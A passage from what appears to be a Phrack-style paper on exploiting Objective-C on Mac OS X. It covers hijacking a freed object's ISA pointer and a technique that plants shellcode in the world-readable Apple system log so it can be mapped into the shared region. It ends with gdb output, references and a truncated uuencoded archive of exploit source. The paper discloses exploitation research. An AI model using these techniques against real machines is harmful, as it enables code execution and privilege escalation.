0x90c75688 <objc_msgSend+24>:   mov    edi,DWORD PTR [edx+0x20]
```

As you can see, this instruction (objc_msgSend+24) is our objc_msgSend call trying to look up the cache pointer from our object. The ISA pointer in edx contains the value 61616161 ("aaaa"). This is because our little for loop of heap allocations, eventually filled in the gaps in the heap, and overwrote our free'ed object.

Once we control the ISA pointer in this instruction, the situation is again identical to a standard heap overflow of an Objective-C object.

I will leave it again as an exercize for the reader to implement this.

------[6.1 - Side note: Updated shared_region technique.

In the previous section we used the shared_region technique to store our code in a fixed location in the address space of our vulnerable application. However, in order to do so, we required a file that was owned by root and controllable/readable by us.

The file that we used:

```
8 -rw-rw-r--  1 root  admin  4096 Apr 12 17:30 /Applications/.localized
```

Was only writeable by the admin user, so this isn't really a viable solution to the problem apple presented us with.

As I said earlier, I've been away from Mac OS X for a while, so I haven't had a chance to get around this new check, in the past. While I was writing this paper I was contemplating possible methods of defeating it.

My first thought, was to find a suid which created a root owned file, controllable by us, and then sigstop it. However I did not find any suids which met our requirements with this.

I also tried mounting a volume obeying file ownership which contained a previously created root owned file. However there is a check in the syscall which makes sure that our file is on the root volume, so that was outed.

Finally I thought about log files. Something like syslog would be perfect where I could arbitrarily control the contents. The only problem with this idea is that no one in their right mind would allow their syslog to be world readable.

This is when I stumbled across the "Apple system log facility." A.S.L? Amazingly apple took it upon themselves to reinvent the wheel. Apple syslog is designed to be readable by everyone on the system. By default any user can see sudo messages etc.

The man page describes ASL as follows:

DESCRIPTION

These routines provide an interface to the Apple system log facility. They are intended to be a replacement for the syslog(3) API, which will continue to be supported for backwards compatibility. The new API allows client applications to create flexible, structured messages and send them to the syslogd server, where they may undergo additional processing. Messages received by the server are saved in a data store (subject to input filtering constraints). This API permits clients to create queries and search the message data store for matching messages.

There's even a section on security that seems to think allowing everyone to view your system log is a good thing...

SECURITY

Messages that are sent to the syslogd server may be saved in a message store. The store may be searched using asl_search, as described below. By default, all messages are readable by any user. However, some applications may wish to restrict read access for some messages. To accommodate this, a client may set a value for the "ReadUID" and "ReadGID" keys. These keys may be associated with a value containing an ASCII representation of a numeric UID or GID. Only the root user (UID 0), the user with the given UID, or a member of the group with the given GID may fetch access-controlled messages from the database.

So basically we can use the "asl_log()" function to add arbitrary data to the log file. The log file is stored in /var/log/asl/YYYY.MM.DD.asl and as you can see below this file is world readable. This works perfect for what we need.

```
344 -rw-r--r--  1 root  wheel  172377 Apr 12 18:40
```

/var/log/asl/2009.04.12.asl

I wrote a tool "14-f-brazil.c" which basically takes some shellcode in argv[1] then sends it to the latest asl log with asl_log(). It then maps the last page of the log file straight into the shared section.

I stuck a unique identifier:

```
        #define NEMOKEY "--((NEMOKEY))--:>>"
```

before the shellcode in memory, and then just scanned memory in the shared mapping in the current process in order to locate the key, and therefore our shellcode.

Here is the output from running the program:

```
-[dcbz@megatron:~/code]$ ./14-f-brazil ‘perl -e’print "\xcc"x20’‘
[+] opening logfile: /var/log/asl/2009.04.12.asl.
[+] generating shellcode buffer to log.
[+] writing shellcode to logfile.
[+] creating shared mapping.
[+] file offset: 0x16000
[+] Waiting a bit.
[+] scanning memory for the shellcode... (this may crash).
[+] found shellcode at: 0x9ffff674.
```

And as you can see in gdb, we have a nopsled at that address.

```
-[dcbz@megatron:~/code]$ gdb /bin/sh
GNU gdb 6.3.50-20050815 (Apple version gdb-768)

(gdb) r
Starting program: /bin/sh
^C[Switching to process 342 local thread 0x2e1b]
0x8fe01010 in __dyld__dyld_start ()
Quit
(gdb) x/x 0x9ffff674
0x9ffff674:     0x90909090
(gdb)
0x9ffff678:     0x90909090
(gdb)
0x9ffff67c:     0x90909090
(gdb)
0x9ffff680:     0x90909090
(gdb)
0x9ffff684:     0x90909090
```

Andrewg predicts that after this paper Apple will add a check to make sure that the file is executable, prior to mapping it into the shared section.

Should be interesting to see if they do this. :p

I’ll include 14-f-brazil.c in the uuencoded code at the end of this paper.

--[6 - Conclusion

Wow I can’t believe you guys actually read this far. That was a pretty long and painful ride. It seems like every time I start writing I remember how much I dislike writing and vow never to do it again, but after a few months I always forget and start on another topic. Hopefully this wasn’t as dry and boring in .txt format as it was in .ppt, although I’m definitly missing lolcat pictures in this version :(.

I would like to take this time to thank the support drone at the Apple shop who fixed my Macbook for me after it was broken for the last 3 years. Without his help, there’s no way I would have ever finished this paper.

Again I'd like to thank my wife for her support. Also thanks to cloudburst/andrewg and the rest of felinemenace as well as various other people for discussing this stuff with me and allowing me to bounce ideas off you, TEAM HANZO reprezent! Thanks to dino and thoth for reading over the paper before I published it, to make sure I didn't say anything TOO stupid. ;-)

Anyone interested enough to read this far should definitly check out the Mac Hacker's Handbook. I haven't as of yet been able to buy a copy, I guess they're all sold out in Australia, but from what I've seen so far the book looks great.

later!

- nemo

--[7 - References

[1] -
http://developer.apple.com/documentation/Cocoa/Conceptual/ObjectiveC/ \
                       Introduction/introObjectiveC.html
[2] -
http://en.wikipedia.org/wiki/Objective-C

[3] - Compiling Objective-C without xcode on OS X.
http://www.w3style.co.uk/compiling-objective-c-without-xcode-in-os-x

[4] - CLOS: Integrating object-orientated and functional programming.
http://portal.acm.org/citation.cfm?doid=114669.114671

[5] - Objective-C Runtime Source.
http://www.opensource.apple.com/darwinsource/tarballs/apsl/objc4-371.2.tar.gz

[6] - Mach-O File Format
http://developer.apple.com/documentation/DeveloperTools/Conceptual/MachORuntime/Reference/reference.html

[7] - The Objective-C Runtime 2.0:
http://developer.apple.com/DOCUMENTATION/Cocoa/Reference/ObjCRuntimeRef/ObjCRuntimeRef.pdf

[8] - The Objective-C Runtime 1.0:
http://developer.apple.com/DOCUMENTATION/Cocoa/Reference/ObjCRuntimeRef1/ObjCRuntimeRef1.pdf

[9] - Objective-C Runtime Guide:
http://developer.apple.com/DOCUMENTATION/Cocoa/Conceptual/ObjCRuntimeGuide/ObjCRuntimeGuide.pdf

[10] - Objective-C Beginner's Guide
http://www.otierney.net/objective-c.html

[11] - OS X heap exploitation techniques
http://www.phrack.com/issues.html?issue=63&id=5

[12] - Mac OS X Debugging Magic
http://developer.apple.com/technotes/tn2004/tn2124.html

[13] - Mac OS X wars - a XNU Hope
http://www.phrack.com/issues.html?issue=64&id=11#article

[14] - class-dump
http://www.codethecode.com/projects/class-dump

[15] - OTX
http://otx.osxninja.com/

[16] - fixobjc.idc
http://nah6.com/~itsme/cvs-xdadevtools/ida/idcscripts/fixobjc.idc

[17] - Charlie Miller - Owning the fanboys
http://www.blackhat.com/presentations/bh-jp-08/bh-jp-08-Miller/BlackHat-Japan-08-Miller-Hacking-OSX.pdf

[18] - F-Script
http://www.fscript.org

[19] - Reverse engineering - PowerPC Cracking on OSX with GDB
http://phrack.org/issues.html?issue=63&id=16#article

[20] - HTE
http://hte.sourceforge.net

--[8 - Appendix A: Source code

```
begin 644 p66-objc.tgz
M'XL(`$M=YDD``^Q=?6P;YWD_V<HL,FHL.\[@=9GU6I$34J;X(5&4&4(T6)*)*)M9
MO<@?L.3$CB,P1_(HG4WRB+NC/I*Z\<8(+:%I+#3`W,#@:D0"(+)9@"C9G8NV5:@
M=19O3K=TRXH,ZX;^X:[I(C0.XBW&TFU9M>=YWSO>'4E1'Y'E.'E_P.G>>S^>
M]WF_GCO>Z?T]^4BD4TF<3@:$:X<@H+>GAYTC$<?9@!`*A7I#X9Y(&.-#H6`D
M))">:ZA3&05-%U5"A%0R\5B]?,NEWZ#(F^,?"G>F.Q.J^)B<\2?7MPX<X$@X
MO-3X1R+!$!W_((Q_-+B=ZND22'!]U:B-3_GX!SK<I(-TKA)8QC%A,"(G
M9172%05>O4:)6.RX+F?DQR-Z!,9&2B0U%'L\"@L-%]%I4;J$4^
MOYPCBIJ25*(K)%_0B38A93)))25ABDBF%#63(JHDIL0$%,82JJ+H1)G*22F2
MEC.2CXBY%-:6(UDQKQ%9AY(@#.O'[-J$J$HH8EQ6<OXUMBS@=M\AYY*9`NAU
MCZ:G9,4_<:\S*B,GG''I9$[/5&2;T0)P),5,C01])B]ISNBLF)P(3&;C>571
M:Z3(W?LBF+Q42=;T>!:&59V):Y(Z*:F5>JMR;KR&DKI846$A)T,CG7&B5M$,
M7<Y*&..^(R6EY9Q$AJ(CL7CTP(%C)#A]=QH`UJ*<>#3ZJ[&1@P_'""2&[`DC
M)T?BANYLV.(PLG$<['@N3[KN[G&[0?%"4B?5V?+0'LSUN-N%?1"'[A%3*572
MM+A."'$9%_U6L@;3E:9A,E[8TI1T6I-TENJB"K`8R&(,BUFRC*PX31/Z(1SH
MH%,W,*7*NA20IJ5D`<[[CSP4>/A^G%1+"I%SLFY*64[(V7ZW.PG=0#K&0=6,
M,DY[RN,E;N@#EJ`4=.@P,@#*93)*T@-KW-M/`@'2Z6&+WMM)'E.RXR0AIOQ^
MO]N%`PE*83N-GM:SI$//YB%"!SF8[CE\?'C8BQ'9/$2!7#%#X^_4,59.$P]-
M&2`T(XZ(*R^IJJ)ZVLJ9VS"K2YJ6=4_LQ,'1^/W1@\/'C\4P]BR3`?6GJ5C6
M"!\:*!]I"TR*:@`:&X!)&-ASTK\GZ]^3\L-%FP]TS7NQWJ"S4E-2_3I522^H
M8)1H;?WNLVXWF!/H.#GGP8"8]+$^[1`GO=C#&)E.61VU])340!P;$-`[44BG
M3YDK8,Q,Z('`4'#WH3^=@6O)Q:1(M42Z1+*AJG@ZNAT5XRXL.\F`?>L0DV3U`
MNHS>@!6OISUMIW:/D8(FCDM]9(\&J]ZTN_<^DFOSB9.G@F-6X58W[BMPGO'
MB)*7<M`R8JB,8/D\C2:<&,3:*O'B/8=B1\!<..3%5J'SE7OO<>K^.V*%)1T6V
MA=?;V=EW[[UMMEQ'C@['#N-<HQV?S,]XC7C$'SF67Z72X7+"&\:\2D%E9R19O"6
MQ8PMW'G6")"H*61*(DDQ!_<WN+7!#4T2-3DS`^L2I(/U,54A>V$VJ!GH6U,G
MWUV/3-\=O,O'U/?V@S0P>'`?S2DP_S)2RN^F@V(4@V$.C7G)O0.6+>XTF]Y9
M*;MZ^DQ-P%3$^RQV/=@-,J,4[E(EHJLS."(P`-)T/J-``R!!U:1,;^KY'[*-K
M3"L7;9>MBZO;!3%,+1]5V>?4?R]!2<Z9@=;2.2W8?,`IZ#B>T@-[)B%9(@:T
M0.8^-'SF*(`=P<5'39R/L+_1D>'X<.S^NR8@U50#I9!RVA^Y<=;XXS*-/(B\
MF'4:W2_JY?5PIY:@U6D8Y$EEH*F=1(0A>2><[C/Z8G=E;\-[5E0@*`A;^,(
M-T@?;(+H'Z8'*\G.0Z5!T)(P(R9OZ(YH(5:"X"6\+/+CR$WE,9R"?/F`5AB4
MH6,'1PE2<LMRS(4,;2U*Q@%)HLC<V'@05H(RZ8-T>5SSS[!T[`&4'YB;^/'$T
M&+=T9?4\=AN-0KTX*LH'K$5T,KW7<SJ$32ILH:$\:[C%V($6M4,ZWE8BH5S@1U
MP<L=E[V*9;^#-GNB&5WLCGO(]'5D\,]S2:EB#.ISW92<VS@I5:J6;-&JP(G
M>ERVW0Y,:7;8:"/`GC%13ILC/Q-,8]Z$TW2:(W#0B7<6@IGY3@K85O<-8KO+
MU3%%N;1N"!=:C2.'@A*!MTZ,NL#16_2.O!8=3'B5$0W'^'!%W'/2*!@@#K:SG
M-;7G=:1S;_1'J9%V#7?)C[HM7,K\0H[HU9EQT@O%3<B0<S>>(AX@YC6$)Q;]
M@D5GNUVQY>W;,84@1UZ^]8E^<;\UDF@H98"]R'WF*0;'-9(;IT,`(K'5I\<4
M:;XB/\(E;V>P;EA8<8)>>"TM4K0HTM#I<(>@9S3VUG*O$/;V7Q<'MGWZ3@8&X
M)2:37>V!Z0@<,A8"]0-T]-,-KGI+$+W05F&+50[36#-7PLB/-9BMYW,`2%/8=
M72&J+A/$3-[C\)D@DUOTF\-<>5ZG5Y5@=]^#_,0%_3@[MAS%LG@<6:,SK&&-
M;,EF;[%`L(5D>;N8H^L_VXG2J@[_Y@,O)6<);;5"HB#Z\X.?`KH#0AKWM09E
M`8<*0>;P8-8_5I3_"/T`2!-0QH0<%,T4AA3%,(:3*`+E?7@MX1(_&MA3O:<G,
M6!I`9WYJ:^+[H4<GA(+S(-5S`I0@P/1J:S=C8;ES6@[MA<)%3?P"1:/@EW;#L
MH,`AH/(T1_]]U-$!+)LX&'%I9+!N?8@9=)+34N&O/F?8C%SH9D=)<XI!'R,+
M`\>3>(@S`7/X4^5]R'KTN.@FKAG#LP_(EHEK3&U)0+`T*,?^R$K&HQ7FH;*N
M/$1"+#%)[F[IY=&.O6+)W^J[(4W[9=D+/,B:2+TYE4J5EQ$#P:'J'AS)UG$'
MSF!4\?2XQ6,`%XI(@3O8O3FJ?HW68^$MPM.#R7(7GZ5:_BS/$8Q?HU/$#T[GA
MM-2O>_S7'C1R*K;LH5(-QH:/]Z[69'=C'>AKKUWU&?]>U:D5C(\JQ]?5XZ4F
MN6?C)1HG\KQ5+\9S]<LRZF,>1$DQ04,[VOY:%^*=W>CUI_S@L#"1?^D8]V3PV
M"W=/#&.VO\P+9+;LNG:4(2N.)^%[A:;'SCUY.8J`34A?:9MIW=&H8R-E`S/?
MZ!7/\XX7E0(\8`<&+0=OL]>A4AI%8>%&CHM19]A>5QI?7`E*AYBVL/L8\Z70(
M"OMA_^ZLF6D,\B'"'5[$L6R$]L88#@J)Y>;(,3D&Z3-4W+#B&H#-K.JB,87Q#7
MDQ@S2WPB7J_^?R6;ERG&-V8(3*V3<\P\%"7M`U@.MZ#<*.#&JD.JLVR12P5!T
MKH_"#]JDLYK2'ZIC;]W"D\J6!D'%5I%G"H2)"R`=WHB=6O@:GNU7-BX"/QVF
M2,ZL'B2E4>3R/,8DD3(P-B(Y9&B2AV@U&J;SQ"V<4&4Z%(3X?.2BPHGKN3#0
M\'*G"FS\R0SSJ9I]5`V=.B\YDB9?#*9?8&'22_6T+?71`*B`L\#2$"M\%JSKD
M0*^NJI+4"L!@3.3@WN%@=8T.#3;NHN@!1LXQ5WSP81IZ(%:^#Y(_ZMO6_OM@*
MK/!]#[#(.%-8$%1+D@_5@(?N,.A/A&:YOGD9(&<[A(<)<H$S2OAKF>>7SGX
M"]4W"44TZ#;D#*@R*`&UZQH&2-]-7%.>0BAZF7!6VU(>BIC2=H9ZJ&>5(I&4
MX$'Z15'G:E*KQ*C;?2U<GSOIQ@T+'%]G,$0]'1I+PR6$W%S*0E0@K;5\V;UQQ
MMP%CYWQ5)5_UT6#KTQ<Z9NQ]DS)6K%9-:Y+$5!^RUNUO)/O=#X4&8QZ*P(%0
MSKNM_?#5%@<T[J6P7RE'SVJ`\R0^BG>^A#+SKQ?3!O$=<DWGMK@\`Y"D%S;6K
MB=T)[(]S2MZZ-UC#:1"0;=O^M`*4J]'ZA)H86Z`V3;^4\O1)9J4.\G!1T-7+
M25W_'E@UF]QXKUHHPDXK&NY8;:;2"8`U=>UZ5UEV"S#Z65N<&BM,D6G:QYHP
M4F3KM,VFEGQ5U"4K;QB;SV7[`E<F)%?,6CM9V1,BPV(-4:`IRC?Y1IU7E#"H6
M>3CA9>U%K5N:!8EBV%AQ3?!^4\O2&<5&V*7W!.N@W.IU9_)S7IYU_YR?`ZJ
M2>ZU<C-)J:]I!'=,#]3:]'7%XP2%1FWVM[/-1!%'9H8%@[?P<%:%R:.H#]7H7
MS\%?I$YK59!E,:@-_.<!E^?QHAI`"_H-T;;N=9"-^N*NC7G^MVF\LU6?T@GJ1
MY^:]5<FKF@<=RFF>7W\O0$$E>$UI<.J41+!<2:4W<V#0(1YKO"6"R/5(CQ
M5AA^$+3]A&&W%F+S)(S%8J8T&T=XUN+*1J59A:X]U0.TSUG^AA(O?/%XR3,'
M5E"3F#=2W#Q+%1K8`6SE45V-[)#AIBE%^OM-B5"AQ#4Z*-8,%JW1*>`/E@D<
M0S&SEI*I\Z3;#R>>3DM.RHCA\]9()'5_?/3#32HEKZ1D*4`/_S=EQ=LJ3S@.HV
MZTF;7L:!]O7&8P=C<'U;=V&OHG0R0MP:,,E54)T*3O')I#GJ;E8\!>5)^;77
MEU`@&8*-S'=K6Q`PN]!/Q_.RU>3,Q&-#+IAF*BD@T2,$T`%`0H8[K8?7,)<#^
M0$(M7V@@;'V.FJ+9NY@+2QPCA4B[O3NI1-/W>DNY'&Y)C6V+NH(C0<H3F@8V
M(,VTIDY[:TCQ9$O,5<NN#-%]>:5'86#\$3<AY;UE^1G?O*9)W2[)-&.$=4[A7
M/6V'`W:2VG-V-%!.T^2K7>BA6&;(B4AN&G9M>@<W,TF2=\U/<^CA`<"E`<]_
M(2;?27"5)<0%2[[+38"KBQ:MVZ2GT9C*.=-\ZLQ68EE/JM4!MZWM]*,+0IO/
MZ&J(2N]^Q0+<U9UD#I[X_;,1D@$:V\#^&UK&*&6&">)Y&""(/=-2L:6@EBBQ[
MO<UO3(.4+@4QU+,<U&G2D?@_L5Z[<W7.3V)<;<;T#F.LV6+.E'3@<<NE?=H<=&
M'!#8#4.:'U6@<WZ+Z)P=B9'B2MBZSI/=N;K@:4O/)>BUU@9@C$9)@9L=2PH
MD$F8[U^`08"#'G'K9&@V>28W:5$[%+E=B;6UO\DFT]&MDJL^?Z?FNPN8EW1;
MDV'Z*VD_54WN;DG[LK8]F]P?IJ=@S/UJ:[YVU)?C"\_Z>]?'/5]I1-K=*5'OX
M&&'R20NSM[6P0#$2O5^A4T5E_:*61%)52M'D_9V*J./<UP.U?0YLP,+_.'2K
MJ;&EOW"J6$TK^_DUJ;#/H<04O;7=*I[IRU<9(`"*#B;YRHG<U"J%;9]F,'TJ
MP3FDL$2TT=U4VLCSNGT=JDB)]=VD^\CEMCE.Y4RK_WWS9AJ6/%;<._-NS/RUP
M(/=2=N/96=&CF+G`.#D@A,^P_P/$`/#+2OG'PHO3K#3\J]9:KOR5QRD_AHT'
MB^I7&G%C[#A)7O8WHN;KJ$TQ]XS<T"H-I@6MA-SV]V/V*BP_T=7]F95ENC%P
MJ$DY/W#0\CGS%$-1@%4Q'O!:ZUW^%1QF_@S37A\G?#\/X\Z#JT$:-:EU4/(-N
M90.^<QCK.LO-AG.*U[8>`"$O\P]&YUFR"@KE6N6"2"I2$QQ:X=4J<:2CQLF
MS;DD)_24!,;$2HTN97]V/C=@4PO35V4G>1T_'FXX4:D.'MRR9HF&;2ZNWNHXV
M:@$9^C+;NN'^8-*3L,E3<6$6.XZ(OXWYE:=]-@;`H\>QK=@P-`AUTQUN89:<
M;(?A%Y?C:%=EPSGYFQJ0(>F.Z1`(;'%A-=2K&K#DP5X9[3NU'$IXS#J7QR2S
M5?W4$22OJ2%UPHD!5XX4Q%ZSR*@9;^!\DK3P?8SM*4AC?6K+=/7$5AO3?%2B
M4?2HB9<ZY;SAX=_]_S=]NZ6\T,:E#SM3G;/SPY.K$W?6D7P?F;Y:N*)"G<]D
M[)+M(4F:*`7GGSQ/;.7\?]Q4P=^<3*"+8C*T*M)UE!)9`=@PN^^JP]+A:-BNC
MIKBM@]%S9UP;GG:GZK@!A(6AR68C<[X9K@!T=*C4W2/'\$Y@$P:X'`*'IEZ_
MU_B[G:<)-E7VE[]\9ELKIUD,LU5[(F=[Y_;$0P&7R=>!OY`W5LF`TL5TA'/;
M@X[NNHZFLMQMT@(]G^L#<R^>`>?4*^P*^XBXT-@R?;^F@&?>:D9G4<*^4_25
M(.<*9T@\Q>LYI%2C\?D7+!RG?,&9B.(C5D`JN(E4]V&/^W-O6XX<P&NNDMOUQ
M:J]^SPI`8HW9@&0_,\[P=Y0UZ"-[N0E9N&(3%99[[I`04V'Z<7>(_]&X4_ETT
MFWT@N'!AJ6#JVWS>=`D5>%T)1U>TEEL$$P=NF[-JPA>JU%'2^A1JO<MH!'NO3
MVT1Y59_W!A5E]4_JYLN()5_7:WAUH=@(4.;D64#X;CTB!63:$QZA6H"$@&I*-&
MF$_6EO,!MU:?G22EE&81'Y*^R'L:<4"*L;)T*HYO9!U2A.QP]V]LFCZK!7FB<
M6K\81)4=&>IV&HYE0^V[(YL!+`Q>N:-&Q/(6@K&F.TIBR5PA@ISL#('H:>5V
M[/ZA6B]+7-1^-I<D=&\#F16?'8FHR/N7KLF4,;-@7NV<-8Q-B;.W6,=%F;H,
MX7[[P[C5!<%HU)$"K"**/@5.=F:`&<CKLW=>H9O"&HTN]CUUT(64'1_S%MX
MQO8,3'2J':@1PM=Q(32CC+27;9$@S-H[C>,E8,:`(;8]RTH5?-H1^O;<X;Z:
M:Q%6'[J\^DNH@F`!3G8'U$L&B\;\S<)\$I>]0NI'A8OYU3A.G,@3;`%3DA9+
MCGRH^*ST:+V=K0C,NZSR8Q>'/.N<Q"+91$8>@'BT_@&E$(+WQBZ(^*3WY^>_R
M(8H)DBN;P7S)C()31(H9AT\5[,=LR%"R.[X7M!,Z9B)CQ7V#M$E&>:&TJQ
M7+[#@[".0-*-N9V=3XC`_X4+&FN8MB5%@#4)5-,>4!NHTJH3A#&T_F!;<:@ZF
M]5FG]-RO8H:6IG]#D8;"V2`V:\2\!#@%C)^:\9?YE7"A\-V2E'M*CLT%D&(]CO
M&*2G+QI<0!BAP?9WRCD0\L:?=Y8A(1)E-+3M2V($43=/T^W43@#9BE,KR,)7
MT@@L=]%3<S8B+E5N<L`!*N8`PT?H<#T@J+MY]8!'<$D5\S_J2VCMT<@B@I2D<
M.,:L50\6%KV8KL%'<U8:)MI0*&@&`%B@/,3D%9+LE;KX;-U9EDFIAV('E[G'<
M?T8=V)[_WDXJ1R*7;=GTPD[0`-RWB`\\MR8JTS=8/&6T)2R`%_KN%E5#6UV>
M2O<?&[8#@X\-8)+E>+3S"CV)2V=0']`Y93^V@A3VS#'@>3/[7M6>X8]I7O%:I
MI[NA2]2`)5,(HPJTM"C+*?A$Q!@'J!#Q0P'R]GX)@_RF^(<.8/\]YY`H>M`"VS^
M-8B:62D`=$>Q3ZB%=J:`KW5U#E;62S/9H^&3CQ-4A;=D@OA<-QN%5?:JF@5+
MHS]E:E1UCTPC7?*D7HBOTZH)/+;I`*NWSS80.H_"$NRB33:K@)YU2'5'U$;T
M@\M[?UEUW-8<0>U>-(&+6W(UUU;B(&,6&A`>2C.@'0O#3<#1U?UH!&&P=T7'
MNX,\5_I%]`T&73`V4_/SOWA!N]X$A@-LC,L23KA"NM`_@A2Z>`8#J=C*L3/2
M8K`PAZ=!Y3=.;9ZA%V*<<]9OHRDY>(2<>GH\O&B'K8[*Y4X[F7T+4^*Z/9(K
M@EA&7Y@R"Y!&Z:[RQV[Y@2Y6>=8M<<[V1LIMG6[\J9P+X&@<F=&YAR2$UC!`
MEJO[9=K\ZEY*J1'W0G]2:+MMT?31<=!"O'WM&-,+RAY_1VK)O8IY*>5./*:F
MMGBT=Y,,HF$M!N_0F,#;:>JYNKS84&:(\LT.W`Q#J>WK!;4A.Z'A==9R5O=*
MI+1)*O>O=X<%3VM0D7"88<SL4P/&%SCU!W!>B)!&#0S8,>7H\5+$J&M#-/7E
MS,!7@&%W9A]>TRQ?F!9"=E5H^,9W#\S3,AC4WMSMX]T+;2;$QL$%O\!3S!%4
MR:6!)#MWE$5YKS$:W56Z@I3!%D3NZ3<_H<\[Q1A`/K5M:Q<MJ(B5+@K9K(?I
MP^TM"M?!]"]&T<O)+DVHW-5RQ`1M(RQ,_-?^XI0#'NV9.@Z(6W:EKE/#WU'A&
M*M6T,Y7@C*9$A`#WHBT%R=9;%%:&/`EY`I=\WZ,=(F?K#%B^G`I,*#Q^`M`4X
MIHJ0/"9!D1O=S*]QY.O_R'2N#9O/97(DJ1ZT=UP(A?/!@>1TKA\,[BQ>\P-N
M$9%0=>>&<5VN88Z`0[Q7B:-,O]X8?GSY5VO0_A,'`^B7%+>OGZ[!.SA,::3-
M-_;0]#?-3X+2,%90\,N5H_WR-5,,A!6!E9`-B)(3;!QLSZ:;%TKL\TB/"'X'
M0U#(/-?)W5)(45#9L*[NVTZ%RZ0W0)B6>4:(6C:A%?66Q@4(RI0=A7T"[RZ<$
M?/=<MR)#VXN>"#9N'>Q`U/-OC-Z`^5U^B@,J4L3MLT90_7=@,FIL-U^0R0U%6
MMBTI4%[=.J[,!5S:M!\Y4=T3?UC^EHA^J]'1R/9Y'@Y6$=WXJ]@*$>B\'!T+
M?J,=J@^(';'%,I0<1%U%A?>W7'S=Y'!51F"L&(/0_JMC%?<_KH[*6\B/@5EG+
M=J4@LYC;.]`S4F56)+A&'$4%<5PRD1/)-2%0A7-H7=/&0L/=I5/KTB7[E<]6
MT-=C(7.JT;'-UKLJ/_//I6(=.]L$W5<`MAW/65%'^&'7Y@EA4.VQL8CP+2#6
MHAXO-S:.3DCO;+I2@:;^6:^/UEC<.R&UHLJ+$CJ)N7S[V!%H$#W\0WS=L.UO_
M;&BH4SMO2F;5/G7-S.%'K&EHE9/.5@G>*E+*M$,UN4WN-<7/\<2*L'R4=D.<!
M#'+!@;%N1+ON.\MW=9=@2JH[=;\,!0H/'6.Q`HX-3<J*9/SM=A'8@\A2?TS;
MRSN0Q-R$!'@W46*_X\&`/GMY>&VTA)0@8@#0@M78XE!AMRS)`N'=SJTWE*(K
M/UHV9']`@BK"7)]*J-I!^%]%:O*`C"-6WCEMI%?%^@FO$5J=5@J%!9G"%8Z2@
MA7EIX,J\8DU!]"@-9@+*94D+DZ5I57TAQ!YJ'>;W47HG'=R'5?;.Q<T_0=3HA
M>BUIE_VOXH;?5$7S5RE)Y=U:%J9\;[L+GD;.6^MZ1TO9;AVJO&8<*&SCZZ_$
M$`%PY3ERI&C$R^L;BDTG;%7UB;Y@5:X@6PU77P_,=G<9!'.CG?R#6.8C9+;6
M.JCKDRO7ZR@7M)4L,=KC_'-@*Z(03>U#\K3>(0;/N=A=XA2[ZK@8JX?K9B8E
M<:D+O%L'VS=<&-D*A[>GKD7?<+0,V<PLR<TB>&]Z]3'=IM9J:[5AOZ<-]<46.G
M<D1,ZY00YWS8V$;AW$N*K?6RF+[$:3XXP3T6,Y3'J,0=@.V"93%8JX="%;=J
MC;)C7G;+5+,^\D[!M3EE/\'DF=K:_A*PPC\'8FUV'CJRM0#7SP0)RD2]V^:7'
M/>T]-4)&Z;0O;MV85C'&:=Y_NHO6:[(CF+BC\5@)A0#A,M9H1&9D>@>+A?Y7E
MX>.Z)^%>Y.%91,N6-1AV4T@,4WW,W4RTVR(2+>U7%=TY-T]$5^N:YKT!1X]4
M5PQ#6Y^H#^O.77^+(PGRT>6\LY^GE;/LK<CY8;MTO#`]HC6<Y;:ZEY9S7,HI$"
MY4I]^U)?8:UBT>9MMYA5;T*;U\$HN%!,\2Q:AX<7!A2SXRXWQ&N2C`.]M`D%
MVJSE-F!LV>B>"C5G2N,S3^Y=YU=J'!0"H]Z-9BOKB]8!2G,4$5Y-@S_Q%7$5-
M@Y>]:A:P+9,@Z1.L@YYT4=^Y"J+[PGM/!E3#,1UI%^)T8B$Z@VRT]5\L$6YR
MCN&\P%T6_,7T#C)4*K5;'?IT[ES,K@RBH\&=R"$:!U/4%MQZ48$J*QEUW=FA\
M/:D'&RJ$(L4N5CC2XR:K)AOE]*)'K#-IM6(O!@[_93-W^`LU2RD$>6'29$S:
M]'8FK-8;'`S1R#CM'#BKX"'>BXCQ#I^+*LG$.!L7<:&;V0EOHY8=JPPP_L7*%
MT7B[4!.X*S;*Q)FR'\@!;(7[<=6!P2P:C+LG#+9O*T6:#\2U+++(MGH!N>H(
MGQ.^=C&+5>DXR,UZ>I<]Y.BS<WKQS2Q&I_>WIRGW_[YAYO[^@K#NM*7$,#F:
MB_#8GVO;MV3!.IC%[EB=48H$L!FP29A4;R;]WF7BIXIBHX`M;#6/P`[)S:
M:!BT<BD(#L;C`W'/@U0:JCHQ=SF/\$WW_;WB@X5WN`TSG\9*+>'<2@TO(W:HJ
M8=+:`+WV')PAQ9,A#MK+>8)>2=[;H5G.$*\^"5?<KI/:X"MEZ'@Z,*=(6ZRH5
MJJ.>BTK5Z3&A!D'Q&XLM6`5\9U=A53()CQ3O-M&K0`?TM3B$@<&48\5,@B1N
MUYVC\"@L'B3=_DF+X\K3IC[%@KP.+Y%7J[1-T)S^\X?"-J`H`,(=RB<?J%]#
M4F-B7*#*$AK^!9(.OZW>[,4])1)2KHFJ1%-*R*`JO7*F7.5C;@M1>?[.G*%IQ
M-7HA>7XXG6O*S82P-7&!.#^.^K-9P<SHP!E]UBM/Y*9I'-QKYEXRMG$UYW<C
MN*/+<PHV2HS!$LR]6;'$?:`6#5(F5W'?TN/<.;#\7AZR&[I<<V8*%J"/_MY9
MPJ?F#E;>I%39"T.E*<U]75DQ0T5<4:RI_GC^S49W4?HQ9@'+^G;_[,CEHG%HM
M1E>\%PM'$&M)(WW^]>O#2+9T'4L,<?FS9<)-G'2:<:#&-\DZLY'+!!W:H(3;^8
MAMO<KGMG:ASV+M5=@.Q7*#>DO+-YIXV]_<#$MXG7N:>E$QO^+2V>(!/]$;=`
M3'U/21EP1M$,-TO/#F"N8\;WX)\D^NCT%^,>'N_+R.4`D*^C!S"8I4"EQ:I
M'D2"RQ>3/U\IHX[CT7,;L\(VUZ]QPVOQ6W32ZGV`1J;'0X1,U,,[,ALXN/#OM
MHGM.?9(CT;5`@?NZO;N9;$VP8J7,1V\AOW7@*7!'C&>.QQ@[\5*TJ$21T\5
MJ)<3/-EM1K2SN*M^U4\+*>[)8\;=?BZ^S8L"M8E.@^"RI*1^%S(UZ7?#Z^?$5
M_(,(I;V`T)RI>38C(,;'J0CD2=7)$<(,N:J%U!K62F,%HBL.V(:?-E#1UW43
M)*!/Z(R!'@T4&"./4Y1L/C`.$[,)I5\?LT?B+1VV$5?^Q5GP*^/`4/Z*[4^6&
MGU;4B3R<;5.[M)&[/+7SH=]J(=^H\;4JM!*0$S-]#<V=QK07(N`(YY%;U\'_
